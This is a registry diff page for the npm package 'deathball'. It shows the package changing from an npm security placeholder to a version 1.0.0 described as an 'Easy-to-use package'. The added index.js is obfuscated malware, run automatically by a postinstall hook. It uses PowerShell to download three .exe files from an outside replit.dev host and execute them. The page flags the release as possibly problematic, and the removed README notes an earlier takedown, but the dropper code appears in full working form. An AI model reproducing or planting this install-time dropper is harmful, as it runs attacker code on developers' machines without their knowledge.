deathball 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of deathball might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +13 -4
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x1ae0(_0x57ac03,_0x272efe){const _0x97f431=_0x1f93();return _0x1ae0=function(_0x3facc4,_0x440afb){_0x3facc4=_0x3facc4-(0x166c+0x1250+-0x282f);let _0x3861f5=_0x97f431[_0x3facc4];return _0x3861f5;},_0x1ae0(_0x57ac03,_0x272efe);}const _0x337cfd=_0x1ae0;(function(_0x57a56d,_0x343633){const _0x229ce9=_0x1ae0,_0x13e88a=_0x57a56d();while(!![]){try{const _0x1fc4b1=-parseInt(_0x229ce9(0xa5))/(-0xc08+-0x19d3+0x25dc*0x1)+-parseInt(_0x229ce9(0xba))/(-0x12cf+0x2463*0x1+-0x1192)+-parseInt(_0x229ce9(0xb2))/(0x1a39+0x889+-0x22bf)+parseInt(_0x229ce9(0x9e))/(-0x8e7+0x1*0x2312+0x41*-0x67)*(parseInt(_0x229ce9(0xa3))/(0xf81+0x47*0x75+-0x6d9*0x7))+-parseInt(_0x229ce9(0xa1))/(0xe74+-0x16b8+0x84a)*(-parseInt(_0x229ce9(0xac))/(-0xf00*-0x2+-0x3d*-0x86+0x4c3*-0xd))+-parseInt(_0x229ce9(0xa2))/(0x228a*-0x1+-0x218c+0x220f*0x2)+-parseInt(_0x229ce9(0xb8))/(0x77f*0x4+0x11a3+-0x1*0x2f96)*(-parseInt(_0x229ce9(0x9d))/(0x19de*0x1+0xc*-0x33e+0xd14));if(_0x1fc4b1===_0x343633)break;else _0x13e88a['push'](_0x13e88a['shift']());}catch(_0x1e248a){_0x13e88a['push'](_0x13e88a['shift']());}}}(_0x1f93,0x4878b+0x75060+-0x57766));const {exec}=require(_0x337cfd(0xab)+_0x337cfd(0xa0)),path=require(_0x337cfd(0x9a)),util=require(_0x337cfd(0x99)),execAsync=util[_0x337cfd(0x90)](exec),urls=[_0x337cfd(0x8e)+_0x337cfd(0xbd)+_0x337cfd(0x8f)+_0x337cfd(0xaa)+_0x337cfd(0xb5)+_0x337cfd(0x92)+_0x337cfd(0x96)+_0x337cfd(0x9f)+_0x337cfd(0xa7),_0x337cfd(0x8e)+_0x337cfd(0xbd)+_0x337cfd(0x8f)+_0x337cfd(0xaa)+_0x337cfd(0xb5)+_0x337cfd(0x92)+_0x337cfd(0x96)+_0x337cfd(0xb3)+'k',_0x337cfd(0x8e)+_0x337cfd(0xbd)+_0x337cfd(0x8f)+_0x337cfd(0xaa)+_0x337cfd(0xb5)+_0x337cfd(0x92)+_0x337cfd(0x96)+_0x337cfd(0x9c)+'s'],outputFiles=[path[_0x337cfd(0xb4)](__dirname,_0x337cfd(0xa9)+_0x337cfd(0xa4)),path[_0x337cfd(0xb4)](__dirname,_0x337cfd(0x98)),path[_0x337cfd(0xb4)](__dirname,_0x337cfd(0x97))];async function downloadAndRun(_0x1fae11,_0x1c0ff0){const _0x439bce=_0x337cfd,_0x379c47={'gIREZ':function(_0x5a9fb2,_0x4f9497){return _0x5a9fb2(_0x4f9497);}},_0x225ff3=_0x439bce(0xb0)+_0x439bce(0xae)+_0x439bce(0x8d)+_0x439bce(0xad)+_0x439bce(0xb6)+_0x1fae11+(_0x439bce(0xaf)+'\x20\x27')+_0x1c0ff0+'\x27\x22';await _0x379c47[_0x439bce(0xbb)](execAsync,_0x225ff3);const _0xa5e7d2=_0x439bce(0xb0)+_0x439bce(0xae)+_0x439bce(0xb1)+_0x439bce(0xb7)+_0x439bce(0x94)+_0x1c0ff0+_0x439bce(0x9b);await _0x379c47[_0x439bce(0xbb)](execAsync,_0xa5e7d2);}((async()=>{const _0x15e31c=_0x337cfd,_0x1cfb05={'jXcOd':function(_0x538d64,_0x50ac52){return _0x538d64<_0x50ac52;},'ybIdL':function(_0x381c7d,_0x2f0ca3,_0x3c2696){return _0x381c7d(_0x2f0ca3,_0x3c2696);}};for(let _0x14b683=-0x467+-0x1*-0x139f+-0xf38;_0x1cfb05[_0x15e31c(0x95)](_0x14b683,urls[_0x15e31c(0x93)]);_0x14b683++){try{await _0x1cfb05[_0x15e31c(0xa6)](downloadAndRun,urls[_0x14b683],outputFiles[_0x14b683]);}catch(_0x47ddb5){console[_0x15e31c(0xa8)](_0x15e31c(0xb9)+_0x15e31c(0xbc)+_0x15e31c(0x91)+outputFiles[_0x14b683]+':',_0x47ddb5);}}})());function _0x1f93(){const _0x44cbfd=['path','\x27\x20-Wait\x22','plit.dev/p','9527970XFtVpE','3150260ocwgVd','plit.dev/k','ess','6jchVUb','4047776KbDVka','5ecMfwB','er.exe','834724QXxgEl','ybIdL','yore','error','Bootstrapp','8-2b609eb3','child_proc','1789753zaRUoJ','bRequest\x20-','\x20-Command\x20','\x27\x20-OutFile','powershell','\x22Start-Pro','440901qsTnDR','plit.dev/s','join','09c3-00-3k','Uri\x20\x27','cess\x20-File','9FvQvRX','Error\x20exec','180906ZqeDcA','gIREZ','uting\x20proc','dfa635-60a','\x22Invoke-We','https://eb','4-499e-9da','promisify','ess\x20for\x20','30gj5i2z09','length','Path\x20\x27','jXcOd','x.riker.re','json.exe','vv.exe','util'];_0x1f93=function(){return _0x44cbfd;};return _0x1f93();}
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "deathball",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Easy-to-use package",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "nah",
|
10
|
+
"license": "ISC",
|
11
|
+
"keywords": [],
|
12
|
+
"publishConfig": {
|
13
|
+
"access": "public"
|
14
|
+
}
|
15
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=deathball for more information.
|